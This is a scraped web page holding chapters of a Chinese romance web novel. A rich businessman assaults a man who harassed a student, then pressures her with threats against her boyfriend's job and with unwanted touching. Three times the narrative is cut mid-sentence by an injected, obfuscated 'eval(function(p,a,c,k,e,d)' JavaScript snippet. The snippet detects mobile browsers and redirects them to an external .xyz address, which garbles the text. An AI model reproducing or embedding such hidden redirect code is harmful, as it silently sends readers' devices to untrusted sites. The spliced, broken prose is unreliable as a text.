是将近半个月没有出现在她眼前的廖问今。 他动作太快,快到在场还未有人反应过来,便操起一旁的酒瓶,朝着彭维的脑袋狠狠砸了过去。 8. 交握 不曾露面的半个月里,廖问今去了趟伦敦,处理一些生活和工作上的私事。他住在儿时生活过的小镇庄园,真真切切地过了几天清净日子,顺便整理了一些母亲的遗物,一起打包邮寄回国。 中午十二点,飞机落地京市机场,他作为资方受邀参加这次的智能研发大赛,以特邀嘉宾的身份出席。 机场离会展中心实在太远,他因堵车稍稍来迟了些,刚到停车场就接到手下的电话,说是程映微也在活动现场,不知怎么得罪了彭维,被他的人带走,拉进了私人包厢。 但包厢外有人守着,外人根本进不去。 廖问今只觉得胸口发紧,不安到了极点,挂了电话便直奔电梯厅,往13楼去。 踹开房门的那一刻,屋内的嬉笑吵嚷声戛然而止,他看见程映微战战兢兢地躲在钟晚卿身后,身上披着一件男士外衣,惊恐地捂着领口。 彭维则背对着他,挡在那两人身前大放厥词。 看着眼前这一幕,他已经能够脑补出刚才发生了什么。 本以为过去这么久,彭维对程映微的好奇和新鲜感早已淡去,不会再打她的主意,却没想到彭维还是贼心不死,从未将他的话放在心上。 周遭的空气几乎快要凝固,他几乎能听见自己急促的呼吸和因气愤而加速跳动的脉搏声。再顾不上其它,捡起一旁倒在地上的酒瓶便朝着那人抡了过去。 屋内的人纷纷怔在原地,没有人敢出声,也无人上前制止。混这个圈子的个个都很聪明,嘴巴也很紧,知道什么该说什么不该说,只老老实实地待在原地,不敢闹出动静。 彭维被砸中脑袋晕倒在地,头顶溢出了血渍。很快有医护人员进来,将他抬到里间处理伤口。而后整层楼被封锁,再没人进来。 程映微被吓傻了,看着地上那一小摊血迹,双手下意识抓住钟晚卿的胳膊,腿脚绵软险些支撑不住。 瞳孔快要失焦,她看见前方有什么东西垂落下来。抬起头,视线渐渐上仰,才看见对面那只握着酒瓶的手被碎裂的瓶身割破,掌心划出一条颀长的口子,正汩汩流着血。 再往上,是那双清冷淡漠的眼睛,此刻正盯着他们,眼中含着怔惑和不解。 她嘴唇动了动,还未出声,对面的人率先开了口: “映微,过来。” …… 十分钟后,凌乱的包厢被收拾干净,他们转移至隔壁房间稍作休息。 廖问今的右手已经简单清理过,止了血缠了绷带。可医护人员说他的伤口有点深,这边无法妥善处理,需要去医院缝针。 他坐在黑色的真皮沙发上,视线一晃,看见跟在他们身后进来的钟晚卿,心头涌起一丝疑虑。 “二位认识?” 程映微下意识看向身旁的人,见他神色复杂,似是在思索如何作答,她立马摇了摇头,当机立断地开口:“不认识。” 她后退一步,略略拉开距离,看着钟晚卿说:“这位先生,刚才谢谢您救了我,您没有受伤吧?” 钟晚卿凝眸看她,注意到她眼中的哀求,便猜到她不愿旁人知晓他们之间的关系。思索片刻,轻声开口:“没有。” “既然不认识,钟少就请先出去吧,我和程小姐还有话要说。”廖问今冷冷开口,下了逐客令。 钟晚卿微微蹙眉,眼中晃过一丝担忧,目光转向一旁的女孩,不放心地问道:“我看程小姐刚才也受到了惊吓,要不要先离开这里,回去好好休息?” 顿了顿,他又强调,“我顺路,可以送你。” 钟晚卿到底是与她有着血缘关系的亲人,程映微不想他被牵扯进这些复杂的事情。 再者,她与钟家的关系不能外露,若是被旁人知晓,不知又会生出多少事端。 认真思虑几秒,她婉言拒绝:“不用了,多谢您。” 见她快速做出抉择,全然站在自己这边,廖问今唇角轻扯,心头的怒气顿时消了大半。 包间大门被打开,钟晚卿瞅了眼面前的女孩,迟疑几秒,跟着侍应生出去了。 伤口处理得过于简单,廖问今手上虽上了药,缠了绷带,仍抵不住丝丝入扣的疼,洁净的纱布上很快又溢出鲜血。 程映微站在离他一米远的位置,见他眉头隆起,越蹙越深,唇色也变得苍白,搁在沙发扶手上的胳膊微微颤抖,她一时忧心,立马跑到他身边,蹲下来扶住他的手腕:“您没事吧?” 廖问今垂着眼看她。隔着这么近的距离,甚至能够看清她脸上细腻的皮肤肌理,以及细小的绒毛,嘴唇饱满泛着淡淡的粉,一口咬下去应该很香很软。 他默然几秒,问道:“半个月不见,就没什么话要对我说?” “廖总,刚才谢谢您。”程映微答非所问,刻意避开了他的话。 他也没追问,顺着她说:“怎么谢?” “我陪您去医院。” “那就有劳。”他说完就要起身。一旁的助理见状晚上来搀扶,被他挥挥手拒绝。 出了包厢门,缓慢行至走廊转角,廖问今忽地停下脚步,指尖抵在眉心,眉头深皱起来。 程映微也顿步,问他:“怎么了?” “头有点晕,你扶我。”他毫不客气地朝她伸出手。 程映微怔了怔,想着他现在是病患,还是为自己受的伤,还是别惹他为好。便伸手搀住他的胳膊,低敛着眉眼轻声道:“好。” 廖问今没去医院,而是去了光合会所,又叫了私人医生过来帮他处理伤口。 程映微全程在一旁看着,见医生拿着棉球给他止血消毒,又用弯弯的针头带进皮肤,一点一点地在皮肉里穿插缝合,已然头皮发麻。 而廖问今面色苍白地坐在那里,唇线紧闭着,从头到尾未吭一声。 程映微刚才在路上就已给带队老师打了电话请假,现下电话又震动起来,拿出手机看了眼,居然是钟晚卿打过来的。 她眉心跳了跳,拿着手机推门而出,去到外面接听。 “喂?” “你人呢?去哪里了?”钟晚卿声音听起来很焦急,似是在到处寻找她。 “我……我已经不在会场里了。”她小小地撒了个谎,“我陪廖先生来医院处理一下伤口。您放心吧,我没事的。” 电话那头沉默许久,钟晚卿闷笑一声,语气带了些质问:“所以现在是什么意思?你宁愿去接近讨好一个陌生人,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447691|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意信任自己的骨肉至亲?” “我没有……” “你现在在哪里?你知道廖问今是什么人吗,你就敢跟他走?” “我真的没事,哥哥。”她很难得地叫了这个称呼,“今天发生的事情只是一个小插曲,等廖先生缝完针我就回学校了。” 钟晚卿原本憋着一肚子火气无处发泄,听见她一改往日冷冰冰的态度,好脾气地唤他“哥哥”,内心仿佛被什么柔软的东西击中,心头那点怒火渐渐消退,不忍再对她发脾气。便沉下声来对她说:“到学校了立马给我消息,不然我不会再纵容你任性下去,立马让你搬离学校宿舍,把你接回家住。” “知道了。”她轻声回应。 “啪”的一声,电话被挂断。 程映微觉得心头一团乱,手机丢进衣兜,背靠墙壁烦躁地呼出一口气。 紧接着就听见有人叫她:“程小姐,您怎么一个人跑出来了?先生到处找您呢。” 她回头,发现那人是上次见过一面的白叔,便冲对方点点头,扯出一抹笑容:“我出来接个电话,这就回去了。” “他的伤口已经处理好了吗?” “都缝合好了,医生正嘱咐注意事项呢。” 程映微回到套房,医生正拎着医药箱准备离开。她规规矩矩站在那里,等人走后,才将目光投向坐在沙发上的男人,问道:“您好些了吗?” 廖问今抬眼,那双眼明明深晦涩冰冷,目光落在她身上却又那么灼人。 “站那么远做什么?过来说话。” 程映微脱了鞋,光脚踩在柔软的地毯上,依旧站在离他一步远的位置。 未料刚站稳脚跟,便被他钳住手腕,拉到沙发上坐下。 惯性作用下,程映微几乎是跌坐在了沙发上,她的膝盖不小心抵到他的大腿,又惊恐地向后退。 廖问今似乎很满意这个距离,视线一寸一寸,细致地扫过她的脸颊,嗓音沉沉像是在对她下蛊:“是不是非要我为你受点伤,你才肯在我面前乖一点,好好听我说话?” 程映微用了两秒才反应过来他的意思,紧张地抿了抿唇,再次向他道谢:“廖总,谢谢您替我出头。” 嫩白的指尖攥紧了衣摆,她话锋一转,又继续说道,“可我没有让你打彭维……” 程映微一边讲话,一边偷偷使力,试图将自己的手腕从他宽大的掌心抽出来,却反被他握得更紧,再次收缩两人之间的距离。 廖问今垂眸看她,唇角勾着笑,修长的骨节分明的左手扣住她的,又稍稍抬起指尖去勾她柔软纤细的手指。 这动作太过暧昧撩人,即便是她和宋丞之间也没有这样过。 难以言喻的羞耻感涌上心头,她的脖颈和耳后染上一层淡粉色,身体试图向后退,手腕用力扽了扽,却怎样都无法挣脱。 看着对面的人玩味挑衅的目光,程映微觉得害怕无助,脸颊也烧得通红,咬着牙再次提醒:“廖总,我有男朋友。” 廖问今原本低着头,手指摩挲着她嫩白的手背,指腹捏着她掌心的软肉玩。 闻言眸色一凝,抬眼望向她,咧唇笑着问道: “人呢?在哪里?” 9. 拉扯 程映微不知该不该回答他的问题,总觉得他在给自己挖坑。 可若不答,又不知他会做出什么更加过分的举动。 仔细权衡过后,她还是如实回答:“他在外地出差。” “哪里?”他懒懒发问。 “深圳。” “想他了?” “没有。” 廖问今显然不信,看着她,浓黑的眉微微扬起:“真的假的?” 程映微被他盯得头皮发麻,很快又改口:“……想。” 他轻笑一声,松开她的手,顺手捻起一缕她垂落肩头的长发,凑近嗅了嗅。 和那次在他车上闻到的味道一样,淡淡茉莉清香,闻起来清新雅致,如同她本人。 感觉到那股凛冽气息靠近,程映微眼皮跳了跳,背后蹿起一层鸡皮疙瘩。她从他手里扯过那缕发丝,慌乱地站起身,“廖总,您究竟想干什么?” “我想干什么你不知道吗?”他抬眼,臂肘搭在沙发靠背,指尖轻点在昂贵的皮料上,声音有些哑,“我以为我表达的已经很明确了。” 程映微参透了他话中暗含的深意,可她不想接招。 廖问今是为救她而受伤,并且伤得不轻。她心里虽然歉疚,却无法忍受他持续不断的言语骚扰和过分亲密的举止,只想尽快逃离这里。 再纠缠下去,他们之间的联系只会无穷无尽,最后闹得一发不可收拾。 “廖总,我还是那句话,感谢您今天替我出头。如果需要我为您做什么,只要不是超出道德层面的事情,您尽管开口。”程映微深吸一口气,又继续说,“您的伤口已经包扎好,想来没什么大碍,我就不在这儿叨扰您了。” 她拿起包包转身就走,男人的声音却在身后响起,慵懒如常:“你才刚说你男朋友在哪里出差?深圳?” “是。” “去了多久了?” “两个月。” “一走两个多月,中间都没回来看过你一次?”他指尖轻按眉心,笑着揶揄,“这男友当得不太称职啊。” “……”程映微被他噎得说不出话,连反驳都没底气。 的确,从京市到深圳,搭乘飞机来回一趟也不过六七个小时。可宋丞的项目周期一再延长,如今已经过了两个多月。 哪怕再忙,周末抽空回来一趟也不是什么难事,而在工作之余,他却从未想过回来见她一面。 “怎么不说话了?” 廖问今姿态闲散地坐在那里,饶有兴趣地问道,“他在哪家公司跟项目?该不会是叫蓬飞科技吧?” 程映微愣住,很快反应过来:“你是怎么知道这些的?你查过他?” 她眼中的愠怒越来越明显,煞白着一张小脸质问道,“你为什么要这么做?” 相比她的激动,廖问今则显得淡定许多。 他拿起桌上的茶壶往杯中添水,浅抿一口,说道:“没有为什么。” “映微,你的一切我都很清楚,包括你身边有什么人,你每天在做什么事情,我都知道。” “我在深圳有不少人脉,好巧不巧,蓬飞科技正好是我朋友名下的公司。” 廖问今抬头望向她,沉静的眼眸幽深如潭,内里翻涌着的情绪让人难以参透。 依旧温声道:“你最好祈祷你的男朋友在那边老老实实的待着,千万别出什么岔子。不然哪天犯了错触了霉头,被一脚踢出项目组也说不准。” 他说得云淡风轻,从头至尾一副上位者姿态,一句话便能终结一个小小实习生数月以来的努力,轻巧到如同捏死一只蚂蚁。 程映微觉得大脑嗡嗡作响,呼吸变得急促,眼眶也略略发红。 她无措地站在那里,想走,却举步维艰。 半晌,听见他说:“过来。” 她内心抗拒,迟疑,却无法克服笼罩在心头的那层恐惧,双脚已经不听使唤地朝他走过去。 对面的人显然没有更多耐心,直接抓着她的手腕将她带到身前,宽大掌心落在她圆润的后脑勺,又渐渐下移,在她的后颈处停下。 指尖抚过她柔软的发丝,又朝里探了探,触碰到她后颈处细嫩的皮肉。 程映微屏住了呼吸,肩膀微微颤栗,咬住唇瓣不敢发出任何声音。 好在他并没有下一步的动作,指尖很快从她脖颈处移开,没再触碰她。 感受着她近在咫尺的磁场,闻见她身上干净好闻的味道,廖问今似是得到满足,身体后仰倚上柔软的沙发靠背,双臂环在胸前,准备闭眼小憩一会儿。 屋内光线明亮,冷白灯光映照在那张棱角分明的脸上,程映微这才发现,他额角溢出了细密的汗,嘴唇泛白,呼吸也略微沉重。 又瞟了眼他受伤的右手,虽然缠着绷带看不见伤口,可从他紧蹙的眉和苍白的唇色,仍能感受到那钻心的疼。 程映微已经没有心思再去关注这些。趁那人睡着,她抬起脚尖,轻手轻脚地往旁边挪了挪,趁机与他拉开一些距离。 不料下一秒,他嘴唇动了动,募地开口:“你好好坐在这里,陪我待上一会儿,等我心情好些了,会安排人送你回学校。” 程映微下意识地抗拒:“我不……” “不然你今晚就住在这儿,哪也别去了。” 他又变得强硬起来。 明明语气柔和,说出来的话却像是在发号施令,惹人生厌。 时间一分一秒过去,程映微直挺挺地坐在那里,只觉得腰酸背痛。可她一动不敢动,生怕发出什么声音会将他吵醒。 分针缓慢地转了半圈,指向下午五点,手机上的闹钟也报了时。 沙发上的男人睁开眼,正巧对上女孩瞟过来的视线。 见她目光躲闪,欲言又止,他清了清喉咙,“有什么想问的就问。” 程映微低着头,琢磨许久,问道:“这段时间,每天都会有人往pub送花。那些花……是您送的吗?” 廖问今没有正面回答,而是间接性的默认了,“喜欢吗?” 程映微在心里默念了一百遍“不喜欢”,却无法当着他的面说出口,否则又不知他会怎么发疯。 实则,那些花她并没有自己收下,而是让服务生一朵一朵拆开、修剪好,插进花瓶里,用来装扮酒吧大厅了。 毕竟那花好看又昂贵,就这么扔掉实在太浪费,倒不如让它发挥自身价值,给酒吧增添一抹靓丽色彩。 思绪回笼,她瓮声说:“您不用再给我送花了。店里人来人往,大家都会看见,有点尴尬,也容易被人误会。” 早猜到她会这么说。廖问今摩挲着手指关节,淡声:“看来你是不喜欢那些花了。” “对,不喜欢。” 男人并未生气,反倒勾唇笑道:“不喜欢,却也不见你丢掉。天天放在店里看着,是因为舍不得扔?” “到底是花钱买的,也不便宜,丢掉多浪费啊。” 廖问今闻言轻笑一声,没再说话。 他嘴上虽较真个不停,脸色和唇色却白得吓人,额角还挂着几滴细汗,看起来是真的挺疼。 程映微观察到这一点,见他眉头蹙了下,连呼吸都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447692|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵扯着胸腔微微震动,她实在看不下去,直接起身去够桌上的座机电话,“您要是实在难受,就别硬撑了,我帮您要止疼片。” 然后拨打了服务台的号码。 她是真的不懂这人为什么非要硬撑,明明难受成这样,就是不肯回家休息。 难道是为了工作?工作是救了他的命吗? 廖问今在一旁看着她,见她拿起电话落落大方地与前台人员沟通的模样,眼梢弯出很淡的笑意。 这小姑娘,看似对他抗拒疏离,到了关键时刻还是会关心人的。 但他想要的,绝非只是她的关心。 日子还长,他可以慢慢来。 程映微看着他吃下止疼药,待药效起来,他脸色稍稍转好,才向他道别,离开光合会所。 廖问今要派车送她,被她拒绝了。 他站在落地窗前,看着楼下那一小团身影从大楼出来,待她过了马路,进了地铁入口,他才收回视线,转身回到客厅。 拿起手机,他在通讯录里翻找许久,寻到一个号码拨了过去。 电话很快接通,那头,男人直截了当地开口:“廖总打电话过来,是为了下午那个女孩吧?” “怎么?钟少也认识那个女孩?” 钟晚卿回答得果断:“不认识。” 廖问今向来精明,显然不信:“但我看你那时的表情,像是很担忧她的安危。” “换做别人,我也会是这样。”钟晚卿说,“不论是谁,我都一样担忧,一样出手相救。” 沉默几秒,廖问今募地发出一声低笑:“说得也是。” 钟晚卿本就是个正派到不能再正派的人,哪怕是个小小的服务生被这群公子哥刁难调戏,他也是会出手相救的。 如此想来,他便觉得一切倒也合理,顺口问道:“听说你跟秦家小姐好事将近了?” “廖总消息还挺灵通。的确,预计明年初春完婚。” “那就提前恭喜了。” “多谢。” 电话挂断,廖问今本想坐下来休息,可没过几秒,手机铃声又响了起来。 是彭砺山,彭维父亲打来的。 他眉头蹙起,思索片刻,还是摁了接听:“彭叔叔?” “哎,是我。”彭砺山显然已经知晓了下午发生的事情,支支吾吾开口,“叔叔就是想问问,彭维到底做了什么,能让小廖总对他下这么重的手……” 话音未落,电话那端的人已经开了口:“彭叔叔这是明知故问了。” “彭维动了我的人,我只是让他脑袋开了瓢,没断他一只手已经不错了。”他将一切直接挑明,不留一丝情面,“不然彭叔叔认为我该怎么做?” 彭砺山一时哑然,嗓音飘忽没有底气:“先前闹出那个小明星的事情,我狠下心来将彭维关了一个月的禁闭,本以为他已经改好了……谁知这孩子还是死性不改,处处沾花惹草。” “廖总您放心,这次长了教训,日后他一定不会再胡作非为了。” 廖问今已经听够了这样的保证,耳朵快要起茧子。压下心头的不快,象征性地问了句:“他伤得不重?” “不重不重,这孩子皮糙肉厚,也就是额头破了点皮,养几天就没事了。”彭砺山说,“阿今,叔叔向你保证,以后绝不再让彭维出现在你眼前,更不会让他处处惹是生非,惹得你不痛快。” “那是最好不过。”廖问今丢下这句,直接将电话挂断了。 看了眼时间,估摸着程映微这会儿已经搭上地铁,半小时内应该能到学校了。 10. 灼息 程映微没想到自己脱口而出的一句话会如此奏效。 后来的日子里,廖问今果真没再往pub送花,时间久了,连同事周娴都觉出不对劲,在更衣室里偷摸问她:“映微,你最近是不是跟男朋友吵架了?我看前台已经好几天没收到鲜花了。” “啊?”程映微一脸懵然,许久才反应过来,点点头道,“啊……对,吵架了。” 吴恙进来换衣服,无意间听见她们的对话,见程映微支支吾吾,耳根泛起一层绯红,她勾唇笑了笑,假装什么也没听见,整理好仪容,轻手轻脚地带上门退了出去。 再次遇见廖问今,是在两天后的傍晚。 程映微从地铁站出来,一路上拿着手机回消息,没仔细看路,到达pub门外准备推门进去,却发现大门敞开着。 抬起头,便看见廖问今站在那里。他穿着一身剪裁合体的深灰色西装,外面随意套了件黑色羊绒大衣,身材劲瘦高挑得像个时装模特,不论是衣着还是谈吐,无不透露着常人难以企及的儒雅与矜贵。 如是这样一个养眼又吸睛的人,对程映微来说却是个极其可怕的存在。 哪怕只是远远看见他,她心里也会自动敲响警钟,恨不能退避三舍,光速消失在他眼前。 短暂几秒钟的对视,程映微后背已经沁出了汗。她缩回僵滞的脚步,准备绕开他去走侧门,那人却忽然挂断了电话,长臂一伸将她拦住。 “去哪儿?”他将手机揣进衣兜,低眸看她。 程映微不说话,只愤愤盯着他看。 瞧见她眼里的烦躁和无奈,廖问今收回手,扬唇笑了,看起来心情很不错。 他指了指头顶的风铃,募地开口:“几个月前,就是在这里,你抱着一摞课本匆匆忙忙跑进门,一头撞在我身上。” “但你好像很急,都没有抬头看我一眼,只丢下一句‘抱歉’就匆匆跑开了。” 程映微并不想回忆起他们的初遇。 他对她谜一般的纠缠就是从那时开始的。 她内心波动,脸上却淡无表情,“不好意思,我不记得了。” 廖问今早猜到她会这么说。 他并未为难她,侧身让出一条路,温声道:“去工作吧。” “谢谢。”程映微轻轻点头,长发在脑后扎成一束高马尾,发丝随着她的步伐摇摆浮动。 擦肩的一瞬,发尾扬起扫过他的胸膛,依旧是一股幽然清香扑鼻而来。 他看着她的背影许久,直至那缕清瘦身影消失在转角。 再回过头,眼前仿佛有片片白絮飘过。 他伸出掌心,有那么一两颗冰凉的白色颗粒落在手上、衣服上,很快又消融殆尽,他才反应过来,这是下雪了。 如今已是十二月下旬,今年的初雪似乎比往年来得更晚了些。 晚上十点,气温骤降。 程映微从酒吧出来,凛凛寒风扑面而来,一不小心呛进喉咙里。她捂住嘴唇剧烈地咳嗽了几下,掌心抚着胸口,险些喘不过气。 呼吸蒸腾成了雾气,她抬手将脖子上戴着的围巾拢紧了些,又往上拽了拽,遮住口鼻,准备往巷口走。 忽然一把伞举过头顶,将飞舞而下的雪籽阻隔在外。 程映微仰起头,看见身旁那人,眼中晃过一丝意外:“您……一直没走吗?” “等你。”他的右手从衣兜里伸出来,顺带着掏出了车钥匙,程映微这才看见,他手上还缠着薄薄一层纱布,显然是之前的伤还没好全。 指尖轻轻下压,按动车钥匙,随即车灯闪烁两下,发出短促的开锁声。 他看着她,轻声道:“聊聊?” 程映微被冻傻了,站在那里发愣。 再回过神,她已经被廖问今拉着手腕往路边走,随后拉开副驾驶的车门,利落地将她塞进车里,系上安全带。 车里开着暖气,温热的风从领口和袖口灌进去,程映微觉得自己瞬间活了过来,刚才呛进肺里的那股冷风也被热气中和掉,不再那么干瑟难受。 她背靠座椅微微匀着气,身侧的人不知从哪里摸出来一杯咖啡递了过来,塞进她冰凉的掌心:“拿着,暖暖手。” “谢谢。”她喉咙有些嘶哑,瞥了眼他缠着纱布的右手,轻声问道,“您的手好些了吗?” 闻言,廖问今眉心动了动,唇角几不可查地上扬,“好多了,只是不能拎重物,不能剧烈运动。” “那就好。” 程映微觉得自己大概是脑子被冻麻了,所以才会反应迟缓,跟着他上了车。 此刻回过神,她才意识到不妥,立马放下咖啡去解自己身上的安全带,“您车里挺暖和的,我差不多已经缓过来了,时间不早了,我就先走了……” 她着急要走,那安全带上的插鞘却仿佛被焊住一般,她越心急,就越是解不开。 下一秒,她冰凉的小手被一只骨骼分明的大掌包裹。廖问今侧过身,及时制止了她的动作,温热气息喷洒在她发顶:“急什么?” “我送你。”他的手覆在安全带插鞘上,同时摁住了女孩纤细的手腕,整个人几乎朝她覆过来。 他身上凛冽的木质淡香与女孩发间的玉兰花香相撞,糅合出一股说不出的独特气味。 这味道触动了他心里紧绷的那根弦,只要怀里的人轻轻一拨,那根弦便会“啪嗒”一声断掉。 下一秒,他的掌心覆在她光滑紧致的下颌,再次朝她贴近。眼看着就要吻上去,怀里的人却朝后缩了缩,偏头躲开了。 短短十几秒的时间,程映微觉得自己的呼吸快要被他夺走,心脏险些跳出胸腔,神思已然游离在肉身之外。 她睫毛轻颤,稍稍使力,将被他摁住的那只手缩了回来,偏过头,努力忽略掉他近在咫尺的呼吸,低声提醒:“我男朋友还有半个月就要回来了。” 男人回过神,意识到刚才那一瞬的失控。 并未对自己的逾矩行径表现出丝毫歉疚,而是看着她,懒散笑道:“是吗?你想让他快点回来?” 他松开她,从衣兜里摸出手机,“不如我帮帮你?” 程映微不明白他的意思,她只想快些下车。 用力拉了拉车门把手,如她所料,没有任何反应。 又听见他手机里传来一阵嘟声,很快,电话接通,廖问今与对方打了招呼,随即进入主题:“沈玉泽,你帮我办一件事情。” “我记得你名下有一间公司叫蓬飞科技,貌似还在深圳有一个分部?” “是,怎么了?”电话那头传来一道温润男声。 “你公司在深圳分部的技术研发部门,有个实习工程师,名字叫宋丞。你把他调回来,让他入职蓬飞总部,留在京市工作吧。”廖问今脸上含笑,淡淡地说。 沈玉泽纳闷:“你什么时候有闲心管别人的事了?怎么,这是你熟人?” “不是。”他回,“不认识。” “不认识你让我给他调什么岗?” “你帮不帮?” “好好好,我知道了。”沈玉泽知晓他的性子,拗不过他,只能答应。 “多谢。” 极其高效的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他……”程映微一时语塞,“他很忙,没有时间。” “这样的借口也就骗骗三岁小孩吧?”廖问今哂笑一声,“映微,你还要欺骗自己到什么时候?” “这是我的事情,与您无关。”她不想再聊这个话题,用手拉了下车门把手,依旧扳不开,忍不住问道,“我到底能不能走了?” 他不回答,视线瞟向窗外,沉默片刻才继续开口:“我有个妹妹,家里正在给她找钢琴老师。如果你感兴趣,我可以推荐你去试试。” “谢谢您的好意,不用了。” “既然想挣钱,有更好的机会摆在眼前,为什么不去试试?”他问,“你难道不好奇,我给你开多少工资?” “我……”程映微嘴唇动了动,拒绝的话到了嘴边,又硬生生咽了回去。 或许是原生家庭给她带来太过深远的影响。 不论何时,但凡提及“工资”这样的敏感词汇,她总会多考虑衡量一些。 廖问今侧眸,见她低下头频繁眨动双眼,手指攥紧了包包背带,显然是陷入了深思。 那只缠着绷带的手再次朝她探过去,似是拿捏住了她的命门,这一次,他十分强硬地拉过她的左手,攥在掌心。 不论她怎样抗拒,他都没再松手。 入夜,黑色轿车缓缓减速,在财经大学的校门外停下。挡风玻璃上覆上一层积雪,很快又被雨刮器冲刷干净,依稀可以看见车内两个模糊身影。 程映微抱紧怀里的包包,嘴唇紧抿着,掌心还残留着那片余热。 身侧的人倾身过来,帮她解开安全带,宽厚的掌心再次覆上她的脑袋,将她轻轻摁进怀里,覆在她耳边轻声说了句:“给你一周时间考虑,想好了给我答复。” 她心脏一滞,用力推开身前的人。没有任何犹豫,立马开门下车,顾不上雪天路滑,以最快的速度往学校跑去。 11. 抉择 许是冷热交替的缘故,程映微回到宿舍便觉得头疼脑热,喉咙也一阵酸痛。 她快速冲了个热水澡,又泡了感冒灵服下。药物发散,很快便来了困意。 次日上午没课,程映微本想好好睡个懒觉,结果叫醒她的不是闹钟,而是宋丞的电话。 眼睛艰难地睁开一条缝隙,她瞟了眼手机,按了接听。许是感冒的缘故,嗓音有些发虚,还夹带着浓浓的鼻音:“怎么这么早打过来?” 宋丞的精神状态与她截然相反,即便刻意压低了声音,也掩藏不住内心喜悦:“映微,告诉你一个好消息,我要提前结束这边的项目,回到京州实习了。” 程映微轻轻“嗯”了声,大脑尚未完全清醒。懵怔片刻,忽地意识到什么,猛然坐起身,“你说什么?” “宝贝,是这样的,我在这边的表现受到领导称赞,决定把我借调到京州总部试用一个月,若是年底通过了考核,人事部会替我保留岗位,等答辩结束拿到毕业证就可以直接过来任职了。” 宋丞解释得相当明了,语气也轻快。 电话那头却是一片安静。 程映微紧攥着手机,许久不吱声。 察觉到异样,宋丞轻唤了句:“映微,你怎么不说话?” 程映微回过神,掩饰住心口那丝慌乱,尽量镇定地开口:“哦,那是好事啊。那你准备什么时候回来?” “这两天办理交接,下周一就回。”宋丞笑着说,“宝贝,我真的好想你,恨不得现在就能见到你。” 听着他轻松愉悦的语气,程映微怎么也笑不出来。 那天在廖问今的车上,她还以为他打给朋友的那通电话是在闹着玩。 如他那般的豪门公子、商界精英,费尽心思接近她,不过是图她一时新鲜,又怎么会真的为了她大动干戈? 程映微原本没太将这事放在心上,心想等廖问今那股新鲜劲散去,大概就不会再揪着她不放了。 可她没想到,他是来真的。 将宋丞调回京市入职,然后呢?难道真的如他所言,让她和宋丞提分手吗? 这未免也太荒谬了。 后来宋丞又兴奋地与她说了什么,程映微一个字也没听进去。而宋丞始终沉浸在调岗的喜悦里,直至电话挂断也没发觉她的不对劲。 整整一天的时间,程映微一直心不在焉。她心里万分纠结,到底要不要告诉宋丞这其中的原因,让他主动放弃这次调任机会? 若告诉他事情真相,他怕是会大受打击,他们的感情也将面临信任危机,很快走向终点。 廖问今这一通骚操作,看似成全了宋丞,实则是将她架在火上烤,以宋丞的事业前景作为筹码,逼她主动提分手。 她实在想不通。 看似温文尔雅的一个人,内心怎么能够如此阴谲狡诈? 次日去pub兼职的时候,程映微特意绕了道从后门走,生怕遇见那个人。 在后台打了上班卡,她隔着走廊偷偷朝大厅里瞟了眼,好在今日廖问今并没有出现。 她短暂地松了口气,在心里思索是否应该辞去这份兼职,再另找一份新工作。 晚上工作结束,程映微找到吴恙,与她诉说了自己的苦恼。 吴恙听后微微挑了挑眉:“你刚才说,廖先生希望你从这里辞职,去给他妹妹当钢琴家教?” “是。”程映微点点头,又说,“但我已经拒绝了。” “为什么呢?”吴恙看着她,眉眼温和,刻意放慢了语速,“映微,有些人终其一生,都很难遇到一个贵人。” “若是有向上爬的机会,便要牢牢把握住才好,千万不要等到日后追悔莫及。” 吴恙说得委婉且隐晦。 程映微听懂了她的劝诫,却不敢苟同:“所以,您觉得我应该接受廖先生的提议?” “映微,你还太年轻,看待问题的角度也不够全面。”吴恙说,“有时候你不妨换个角度看问题,仔细想想,以廖总的身份地位,他能给你带来什么,你又能借助他的权势得到什么。” “当摆在你眼前的难题迎刃而解,你还会在意那一点幼稚的情感纠葛吗?”她握住女孩的手,柔声道,“你愿意为了你的男朋友放弃一份轻松高薪的工作,那他呢?你不妨去试探一下,他是否愿意为了你,舍弃掉那个从天而降的转正机会?” 说到这,吴恙眼中晃过一丝轻蔑,抬唇笑道:“更何况,倘若没有你,没有廖总对你的那份青睐,这样好的机会也不可能落在他的头上。” 程映微安静听完她的长篇大论,轻轻呼出一口气,终于问出憋在心底许久的那个疑问:“恙姐,您是廖问今的人,对吗?” 吴恙微怔了下,很快又恢复了笑容:“是。” 她并未多言,只拍拍她的手道:“我们映微真的很聪明。” “希望在这件事上,你也能做出聪明的决断。” - 很快到了宋丞返京的日子,飞机落地当天,程映微特意从学校赶去机场接机。 下了接驳车,宋丞穿过拥挤的人潮往接机口的方向去,仰起脖子往那边瞅了瞅,立马在人群中寻到程映微的身影。 她穿着一件白色大衣站在围栏外,怀里抱着一束鲜花,毛茸茸的围巾将她本就小巧的脸庞遮去大半,掩住口鼻,只留出一双水灵澄澈的大眼睛,呆呆盯着前方,目光有些游离。 “映微!”宋丞冲她招了招手,阔步朝那个方向走去。他个头高,人也清爽帅气,程映微一眼便看见了他,唇角扬起笑意。 